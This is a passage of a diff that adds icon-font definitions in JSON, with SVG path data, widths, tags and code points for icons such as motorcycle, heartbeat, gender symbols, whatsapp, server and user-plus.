0-256-114.857-256-256s114.857-256 256-256c30.286 0 59.429 5.714 86.857 15.429l13.714-25.714c-44-39.429-101.714-62.857-173.714-62.857h-36.571c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h73.143c128 0 193.143 52.571 219.429 73.143h358.286l-48.571-73.143h-126.857c-22.286 0-40-20-36-42.857 2.857-17.714 20-30.286 37.714-30.286h144.571c12 0 23.429 6.286 30.286 16l40 60 65.143-65.143c6.857-6.857 16.571-10.857 26.286-10.857h57.714c20 0 36.571 16.571 36.571 36.571v73.143c0 20-16.571 36.571-36.571 36.571h-102.286l65.714 98.286c46.286-22.286 100-31.429 157.143-20.571 109.143 20 194.286 111.429 206.857 221.714zM256 804.571c88.571 0 162.286-62.857 179.429-146.286h-179.429c-12.571 0-24.571-6.857-31.429-17.714-6.286-10.857-6.857-24.571-0.571-36l84-158.286c-16.571-4.571-33.714-7.429-52-7.429-100.571 0-182.857 82.286-182.857 182.857s82.286 182.857 182.857 182.857zM1060.571 804.571c100.571 0 182.857-82.286 182.857-182.857s-82.286-182.857-182.857-182.857c-24.571 0-47.429 5.143-69.143 13.714l99.429 148.571c11.429 17.143 6.857 40-9.714 50.857-6.286 4.571-13.714 6.286-20.571 6.286-12 0-23.429-5.714-30.286-16.571l-99.429-148.571c-32.571 33.143-53.143 78.286-53.143 128.571 0 100.571 82.286 182.857 182.857 182.857z" + ], + "width": 1333.174857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "motorcycle" + ], + "defaultCode": 61980, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "motorcycle", + "id": 493, + "order": 1349, + "prevSize": 28, + "code": 61980 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 493 + }, + { + "icon": { + "paths": [ + "M804.571 877.714c0 100.571-208.571 146.286-402.286 146.286s-402.286-45.714-402.286-146.286c0-77.714 116-114.286 213.143-130.857 20-3.429 38.857 9.714 42.286 29.714s-9.714 38.857-29.714 42.286c-117.714 20.571-150.857 52.571-152.571 59.429 5.714 19.429 115.429 72.571 329.143 72.571s323.429-53.143 329.143-73.714c-1.714-5.714-34.857-37.714-152.571-58.286-20-3.429-33.143-22.286-29.714-42.286s22.286-33.143 42.286-29.714c97.143 16.571 213.143 53.143 213.143 130.857zM585.143 365.714v219.429c0 20-16.571 36.571-36.571 36.571h-36.571v219.429c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-219.429h-36.571c-20 0-36.571-16.571-36.571-36.571v-219.429c0-40.571 32.571-73.143 73.143-73.143h219.429c40.571 0 73.143 32.571 73.143 73.143zM530.286 146.286c0 70.857-57.143 128-128 128s-128-57.143-128-128 57.143-128 128-128 128 57.143 128 128z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "street-view" + ], + "defaultCode": 61981, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "street-view", + "id": 494, + "order": 1350, + "prevSize": 28, + "code": 61981 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 494 + }, + { + "icon": { + "paths": [ + "M731.429 585.143h174.286c-6.857 7.429-11.429 11.429-12.571 12.571l-356 342.857c-6.857 6.857-16 10.286-25.143 10.286s-18.286-3.429-25.143-10.286l-356.571-344c-1.143-0.571-5.714-4.571-12-11.429h210.857c16.571 0 31.429-11.429 35.429-27.429l40-160.571 108.571 381.143c4.571 15.429 18.857 26.286 35.429 26.286v0c16 0 30.286-10.857 34.857-26.286l83.429-277.143 32 64c6.286 12 18.857 20 32.571 20zM1024 340.571c0 65.714-28.571 125.714-58.857 171.429h-210.857l-63.429-126.286c-6.286-13.143-21.143-21.143-35.429-20-15.429 1.714-28 11.429-32 26.286l-73.714 245.714-112-392c-4.571-15.429-18.857-26.286-36-26.286-16.571 0-30.857 11.429-34.857 27.429l-66.286 265.143h-241.714c-30.286-45.714-58.857-105.714-58.857-171.429 0-167.429 102.286-267.429 273.143-267.429 100 0 193.714 78.857 238.857 123.429 45.143-44.571 138.857-123.429 238.857-123.429 170.857 0 273.143 100 273.143 267.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "heartbeat" + ], + "defaultCode": 61982, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "heartbeat", + "id": 495, + "order": 1351, + "prevSize": 28, + "code": 61982 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 495 + }, + { + "icon": { + "paths": [ + "M658.286 329.143c0 169.143-128 308.571-292.571 326.857v148.571h128c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-128v128c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-128h-128c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h128v-148.571c-173.143-18.857-305.714-172.571-291.429-353.714 12.571-155.429 136-282.857 290.286-300 198.857-22.286 366.857 132.571 366.857 326.857zM73.143 329.143c0 141.143 114.857 256 256 256s256-114.857 256-256-114.857-256-256-256-256 114.857-256 256z" + ], + "width": 645.12, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "venus" + ], + "defaultCode": 61985, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "venus", + "id": 496, + "order": 1352, + "prevSize": 28, + "code": 61985 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 496 + }, + { + "icon": { + "paths": [ + "M841.143 73.143c20 0 36.571 16.571 36.571 36.571v237.714c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-149.714l-218.286 218.857c45.143 56 72 127.429 72 205.143 0 181.714-147.429 329.143-329.143 329.143s-329.143-147.429-329.143-329.143 147.429-329.143 329.143-329.143c77.714 0 149.143 26.857 205.143 72l218.286-218.286h-149.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h237.714zM329.143 877.714c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mars" + ], + "defaultCode": 61986, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mars", + "id": 497, + "order": 1353, + "prevSize": 28, + "code": 61986 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 497 + }, + { + "icon": { + "paths": [ + "M474.286 180.571c108.571 53.714 184 165.714 184 294.857 0 169.143-128 308.571-292.571 326.857v75.429h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v54.857c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-54.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857v-75.429c-164.571-18.286-292.571-157.714-292.571-326.857 0-129.143 75.429-241.143 184-294.857-60-34.857-106.857-89.714-130.286-156-4.571-12 4.571-24.571 17.143-24.571h39.429c7.429 0 13.714 4.571 16.571 11.429 33.143 79.429 111.429 134.857 202.286 134.857s169.143-55.429 202.286-134.857c2.857-6.857 9.143-11.429 21.143-11.429h34.857c12.571 0 21.714 12.571 17.143 24.571-23.429 66.286-70.286 121.143-130.286 156zM329.143 731.429c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mercury" + ], + "defaultCode": 61987, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mercury", + "id": 498, + "order": 1354, + "prevSize": 28, + "code": 61987 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 498 + }, + { + "icon": { + "paths": [ + "M585.143 18.286c0-10.286 8-18.286 18.286-18.286h164.571c20 0 36.571 16.571 36.571 36.571v164.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-76.571l-145.143 145.714c44.571 56 72 127.429 72 205.143 0 169.143-128 308.571-292.571 326.857v75.429h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v54.857c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-54.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857v-75.429c-172.571-18.857-305.714-172.571-291.429-353.143 12-155.429 135.429-282.857 289.714-300.571 92.571-10.857 178.286 17.714 243.429 69.714l145.714-145.143h-76.571c-10.286 0-18.286-8-18.286-18.286v-36.571zM329.143 731.429c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 791.4057142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "intersex", + "transgender" + ], + "defaultCode": 61988, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "intersex, transgender", + "id": 499, + "order": 1355, + "prevSize": 28, + "code": 61988 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 499 + }, + { + "icon": { + "paths": [ + "M731.429 18.286c0-10.286 8-18.286 18.286-18.286h164.571c20 0 36.571 16.571 36.571 36.571v164.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-76.571l-145.143 145.714c44.571 56 72 127.429 72 205.143 0 169.143-128 308.571-292.571 326.857v75.429h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v54.857c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-54.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857v-75.429c-164.571-18.286-292.571-157.714-292.571-326.857 0-77.714 27.429-149.143 72-205.143l-29.714-30.286-57.714 63.429c-6.857 7.429-18.286 8-25.714 1.714l-27.429-25.143c-7.429-6.286-8-18.286-1.143-25.714l60-65.714-63.429-64v76.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-164.571c0-20 16.571-36.571 36.571-36.571h164.571c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-76l60.571 61.143 49.143-53.714c6.857-7.429 18.286-8 25.714-1.714l27.429 25.143c7.429 6.286 8 18.286 1.143 25.714l-51.429 56.571 32.571 32c56-44.571 127.429-72 205.143-72s149.143 27.429 205.143 72l145.714-145.143h-76.571c-10.286 0-18.286-8-18.286-18.286v-36.571zM475.429 731.429c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "transgender-alt" + ], + "defaultCode": 61989, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "transgender-alt", + "id": 500, + "order": 1356, + "prevSize": 28, + "code": 61989 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 500 + }, + { + "icon": { + "paths": [ + "M1022.857 302.286c14.286 181.143-118.286 334.857-291.429 353.714v148.571h128c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-128v128c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-128h-292.571v128c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-128h-128c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h128v-148.571c-173.143-18.857-305.714-172.571-291.429-353.714 12.571-157.143 138.857-285.714 295.429-300.571 80-8 154.857 13.143 215.429 53.714 60.571-40.571 135.429-61.714 215.429-53.714 156.571 14.857 282.857 143.429 295.429 300.571zM512 508c45.143-46.286 73.143-109.143 73.143-178.857s-28-132.571-73.143-178.857c-45.143 46.286-73.143 109.143-73.143 178.857s28 132.571 73.143 178.857zM329.143 585.143c45.143 0 87.429-12 124.571-32.571-54.857-58.857-88-137.143-88-223.429s33.714-164.571 88-223.429c-37.143-20.571-79.429-32.571-124.571-32.571-141.143 0-256 114.857-256 256s114.857 256 256 256zM658.286 804.571v-148.571c-53.714-5.714-103.429-25.143-146.286-53.714-42.857 28.571-92.571 48-146.286 53.714v148.571h292.571zM694.857 585.143c141.143 0 256-114.857 256-256s-114.857-256-256-256c-45.143 0-87.429 12-124.571 32.571 54.286 58.857 88 137.143 88 223.429s-33.143 164.571-88 223.429c37.143 20.571 79.429 32.571 124.571 32.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "venus-double" + ], + "defaultCode": 61990, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "venus-double", + "id": 501, + "order": 1357, + "prevSize": 28, + "code": 61990 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 501 + }, + { + "icon": { + "paths": [ + "M877.714 237.714c0-10.286 8-18.286 18.286-18.286h164.571c20 0 36.571 16.571 36.571 36.571v164.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-76.571l-145.143 145.714c56 70.286 84 163.429 66.857 263.429-24 138.857-137.143 248-276.571 267.429-163.429 22.857-308-74.857-357.714-217.143-180.571-9.143-322.857-164.571-310.857-350.286 10.286-156.571 134.286-286.857 290.286-304.571 92-10.857 177.714 17.714 243.429 69.714l145.714-145.143h-76.571c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h164.571c20 0 36.571 16.571 36.571 36.571v164.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-76.571l-145.143 145.714c22.857 28.571 40.571 61.143 53.143 96.571 70.857 3.429 135.429 29.714 187.429 70.857l145.714-145.143h-76.571c-10.286 0-18.286-8-18.286-18.286v-36.571zM585.143 475.429c0-11.429-1.143-22.286-2.286-33.143-122.857 18.857-217.143 124.571-217.143 252.571 0 11.429 1.143 22.286 2.286 33.143 122.857-18.857 217.143-124.571 217.143-252.571zM73.143 475.429c0 129.143 96.571 236 221.143 253.143-1.143-10.857-1.714-22.286-1.714-33.714 0-161.143 116.571-295.429 270.286-323.429-40-89.714-129.714-152-233.714-152-141.143 0-256 114.857-256 256zM621.714 950.857c141.143 0 256-114.857 256-256 0-129.143-96.571-236-221.143-253.143 1.143 10.857 1.714 22.286 1.714 33.714 0 161.143-116.571 295.429-270.286 323.429 40 89.714 129.714 152 233.714 152z" + ], + "width": 1085.7325714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mars-double" + ], + "defaultCode": 61991, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mars-double", + "id": 502, + "order": 1358, + "prevSize": 28, + "code": 61991 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 502 + }, + { + "icon": { + "paths": [ + "M950.857 18.286c0-10.286 8-18.286 18.286-18.286h164.571c20 0 36.571 16.571 36.571 36.571v164.571c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-76.571l-145.143 145.714c56 70.286 84 163.429 66.857 263.429-24 137.143-135.429 246.286-273.143 266.857-86.857 13.143-168.571-8-233.714-51.429-42.857 28.571-92.571 47.429-146.286 53.143v75.429h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v54.857c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-54.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857v-75.429c-179.429-20-316-184.571-289.143-373.714 19.429-142.286 132.571-256.571 274.286-278.286 87.429-13.143 169.143 8 234.286 51.429 52.571-34.857 115.429-55.429 182.857-55.429 77.714 0 149.143 27.429 205.143 72l145.714-145.143h-76.571c-10.286 0-18.286-8-18.286-18.286v-36.571zM512 654.286c45.143-46.286 73.143-109.143 73.143-178.857s-28-132.571-73.143-178.857c-45.143 46.286-73.143 109.143-73.143 178.857s28 132.571 73.143 178.857zM73.143 475.429c0 141.143 114.857 256 256 256 45.143 0 88-12 124.571-32.571-54.286-58.857-88-137.143-88-223.429s33.714-164.571 88-223.429c-36.571-20.571-79.429-32.571-124.571-32.571-141.143 0-256 114.857-256 256zM694.857 731.429c141.143 0 256-114.857 256-256s-114.857-256-256-256c-45.143 0-88 12-124.571 32.571 54.286 58.857 88 137.143 88 223.429s-33.714 164.571-88 223.429c36.571 20.571 79.429 32.571 124.571 32.571z" + ], + "width": 1146.8799999999999, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "venus-mars" + ], + "defaultCode": 61992, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "venus-mars", + "id": 503, + "order": 1359, + "prevSize": 28, + "code": 61992 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 503 + }, + { + "icon": { + "paths": [ + "M841.143 73.143c20 0 36.571 16.571 36.571 36.571v237.714c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-149.714l-121.714 122.286 80 80c6.857 7.429 6.857 18.857 0 25.714l-26.286 26.286c-6.857 6.857-18.286 6.857-25.714 0l-80-80.571-44.571 45.143c45.143 56 72 127.429 72 205.143 0 181.714-147.429 329.143-329.143 329.143s-329.143-147.429-329.143-329.143 147.429-329.143 329.143-329.143c77.714 0 149.143 26.857 205.143 72l44.571-44.571-98.286-98.286c-6.857-7.429-6.857-18.857 0-25.714l26.286-26.286c6.857-6.857 18.286-6.857 25.714 0l98.286 98.286 121.714-121.714h-149.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h237.714zM329.143 877.714c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mars-stroke" + ], + "defaultCode": 61993, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mars-stroke", + "id": 504, + "order": 1360, + "prevSize": 28, + "code": 61993 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 504 + }, + { + "icon": { + "paths": [ + "M365.714 368c164.571 18.286 292.571 157.714 292.571 326.857 0 194.286-168 349.143-366.857 326.857-154.286-17.143-277.714-144.571-290.286-300-14.286-181.143 118.286-334.857 291.429-353.714v-75.429h-91.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h91.429v-94.286l-52.571 52.571c-7.429 6.857-18.857 6.857-25.714 0l-26.286-26.286c-6.857-6.857-6.857-18.286 0-25.714l115.429-114.857c14.286-14.286 37.143-14.286 51.429 0l115.429 114.857c6.857 7.429 6.857 18.857 0 25.714l-26.286 26.286c-6.857 6.857-18.286 6.857-25.714 0l-52.571-52.571v94.286h91.429c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-91.429v75.429zM329.143 950.857c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 645.12, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mars-stroke-v" + ], + "defaultCode": 61994, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mars-stroke-v", + "id": 505, + "order": 1361, + "prevSize": 28, + "code": 61994 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 505 + }, + { + "icon": { + "paths": [ + "M1086.286 522.857c14.286 14.286 14.286 37.143 0 51.429l-168 168c-6.857 7.429-18.857 7.429-25.714 0l-25.714-25.714c-7.429-6.857-7.429-18.857 0-25.714l105.714-105.714h-168v128c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-128h-75.429c-18.286 164.571-157.714 292.571-326.857 292.571-194.286 0-349.143-168-326.857-366.857 17.143-154.286 144.571-277.714 300-290.286 181.143-14.286 334.857 118.286 353.714 291.429h75.429v-128c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v128h168l-105.714-105.714c-7.429-6.857-7.429-18.857 0-25.714l25.714-25.714c6.857-7.429 18.857-7.429 25.714 0zM329.143 804.571c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 1080.5394285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mars-stroke-h" + ], + "defaultCode": 61995, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mars-stroke-h", + "id": 506, + "order": 1362, + "prevSize": 28, + "code": 61995 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 506 + }, + { + "icon": { + "paths": [ + "M658.286 329.143c0 169.143-128 308.571-292.571 326.857v349.714c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-349.714c-164.571-18.286-292.571-157.714-292.571-326.857 0-181.714 147.429-329.143 329.143-329.143s329.143 147.429 329.143 329.143zM329.143 585.143c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "neuter" + ], + "defaultCode": 61996, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "neuter", + "id": 507, + "order": 1363, + "prevSize": 28, + "code": 61996 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 507 + }, + { + "icon": { + "paths": [ + "M585.143 548.571c0-141.143-114.857-256-256-256s-256 114.857-256 256 114.857 256 256 256 256-114.857 256-256zM658.286 548.571c0 181.714-147.429 329.143-329.143 329.143s-329.143-147.429-329.143-329.143 147.429-329.143 329.143-329.143 329.143 147.429 329.143 329.143z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "genderless" + ], + "defaultCode": 61997, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "genderless", + "id": 508, + "order": 1364, + "prevSize": 28, + "code": 61997 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 508 + }, + { + "icon": { + "paths": [ + "M829.143 73.143c26.857 0 48.571 21.714 48.571 48.571v780.571c0 26.857-21.714 48.571-48.571 48.571h-223.429v-340h113.714l17.143-132.571h-130.857v-84.571c0-38.286 10.286-64 65.714-64l69.714-0.571v-118.286c-12-1.714-53.714-5.143-101.714-5.143-101.143 0-170.857 61.714-170.857 174.857v97.714h-114.286v132.571h114.286v340h-420c-26.857 0-48.571-21.714-48.571-48.571v-780.571c0-26.857 21.714-48.571 48.571-48.571h780.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "facebook-official" + ], + "defaultCode": 62000, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "facebook-official", + "id": 509, + "order": 1365, + "prevSize": 28, + "code": 62000 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 509 + }, + { + "icon": { + "paths": [ + "M0 341.143c0-210.857 193.143-341.143 388.571-341.143 179.429 0 342.857 123.429 342.857 312.571 0 177.714-90.857 374.857-293.143 374.857-48 0-108.571-24-132-68.571-43.429 172-40 197.714-136 329.143l-8 2.857-5.143-5.714c-3.429-36-8.571-71.429-8.571-107.429 0-116.571 53.714-285.143 80-398.286-14.286-29.143-18.286-64.571-18.286-96.571 0-57.714 40-130.857 105.143-130.857 48 0 73.714 36.571 73.714 81.714 0 74.286-50.286 144-50.286 216 0 49.143 40.571 83.429 88 83.429 131.429 0 172-189.714 172-290.857 0-135.429-96-209.143-225.714-209.143-150.857 0-267.429 108.571-267.429 261.714 0 73.714 45.143 111.429 45.143 129.143 0 14.857-10.857 67.429-29.714 67.429-2.857 0-6.857-1.143-9.714-1.714-81.714-24.571-111.429-133.714-111.429-208.571z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pinterest-p" + ], + "defaultCode": 62001, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pinterest-p", + "id": 510, + "order": 1366, + "prevSize": 28, + "code": 62001 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 510 + }, + { + "icon": { + "paths": [ + "M562.857 556.571c9.714 0 102.857 48.571 106.857 55.429 1.143 2.857 1.143 6.286 1.143 8.571 0 14.286-4.571 30.286-9.714 43.429-13.143 32-66.286 52.571-98.857 52.571-27.429 0-84-24-108.571-35.429-81.714-37.143-132.571-100.571-181.714-173.143-21.714-32-41.143-71.429-40.571-110.857v-4.571c1.143-37.714 14.857-64.571 42.286-90.286 8.571-8 17.714-12.571 29.714-12.571 6.857 0 13.714 1.714 21.143 1.714 15.429 0 18.286 4.571 24 19.429 4 9.714 33.143 87.429 33.143 93.143 0 21.714-39.429 46.286-39.429 59.429 0 2.857 1.143 5.714 2.857 8.571 12.571 26.857 36.571 57.714 58.286 78.286 26.286 25.143 54.286 41.714 86.286 57.714 4 2.286 8 4 12.571 4 17.143 0 45.714-55.429 60.571-55.429zM446.857 859.429c197.714 0 358.857-161.143 358.857-358.857s-161.143-358.857-358.857-358.857-358.857 161.143-358.857 358.857c0 75.429 24 149.143 68.571 210.286l-45.143 133.143 138.286-44c58.286 38.286 127.429 59.429 197.143 59.429zM446.857 69.714c237.714 0 430.857 193.143 430.857 430.857s-193.143 430.857-430.857 430.857c-72.571 0-144.571-18.286-208.571-53.714l-238.286 76.571 77.714-231.429c-40.571-66.857-61.714-144-61.714-222.286 0-237.714 193.143-430.857 430.857-430.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "whatsapp" + ], + "defaultCode": 62002, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "whatsapp", + "id": 511, + "order": 1367, + "prevSize": 28, + "code": 62002 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 511 + }, + { + "icon": { + "paths": [ + "M73.143 804.571h585.143v-73.143h-585.143v73.143zM73.143 512h585.143v-73.143h-585.143v73.143zM969.143 768c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM73.143 219.429h585.143v-73.143h-585.143v73.143zM969.143 475.429c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM969.143 182.857c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM1024 658.286v219.429h-1024v-219.429h1024zM1024 365.714v219.429h-1024v-219.429h1024zM1024 73.143v219.429h-1024v-219.429h1024z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "server" + ], + "defaultCode": 62003, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "server", + "id": 512, + "order": 1368, + "prevSize": 28, + "code": 62003 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 512 + }, + { + "icon": { + "paths": [ + "M402.286 512c-121.143 0-219.429-98.286-219.429-219.429s98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429-98.286 219.429-219.429 219.429zM950.857 585.143h201.143c9.714 0 18.286 8.571 18.286 18.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-201.143v201.143c0 9.714-8.571 18.286-18.286 18.286h-109.714c-9.714 0-18.286-8.571-18.286-18.286v-201.143h-201.143c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h201.143v-201.143c0-9.714 8.571-18.286 18.286-18.286h109.714c9.714 0 18.286 8.571 18.286 18.286v201.143zM530.286 713.143c0 40 33.143 73.143 73.143 73.143h146.286v136c-28 20.571-63.429 28.571-97.714 28.571h-499.429c-91.429 0-152.571-54.857-152.571-148 0-129.143 30.286-327.429 197.714-327.429 9.143 0 15.429 4 22.286 9.714 56 42.857 110.286 69.714 182.286 69.714s126.286-26.857 182.286-69.714c6.857-5.714 13.143-9.714 22.286-9.714 48.571 0 91.429 18.286 124 54.857h-127.429c-40 0-73.143 33.143-73.143 73.143v109.714z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-plus" + ], + "defaultCode": 62004, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-plus", + "id": 513, + "order": 1369, + "prevSize": 28, + "code": 62004 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 513 + }, + { + "icon": { + "paths": [ + "M402.286 512c-121.143 0-219.429-98.286-219.429-219.429s98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429-98.286 219.429-219.429 219.429zM1017.714 694.857l142.286 142.286c3.429 3.429 5.143 8 5.143 13.143 0 4.571-1.714 9.143-5.143 12.571l-77.714 77.714c-3.429 3.429-8 5.143-12.571 5.143-5.143 0-9.714-1.714-13.143-5.143l-142.286-142.286-142.286 142.286c-3.429 3.429-8 5.143-13.143 5.143-4.571 0-9.143-1.714-12.571-5.143l-77.714-77.714c-3.429-3.429-5.143-8-5.143-12.571 0-5.143 1.714-9.714 5.143-13.143l142.286-142.286-142.286-142.286c-3.429-3.429-5.143-8-5.143-13.143 0-4.571 1.714-9.143 5.143-12.571l77.714-77.714c3.429-3.429 8-5.143 12.571-5.143 5.143 0 9.714 1.714 13.143 5.143l142.286 142.286 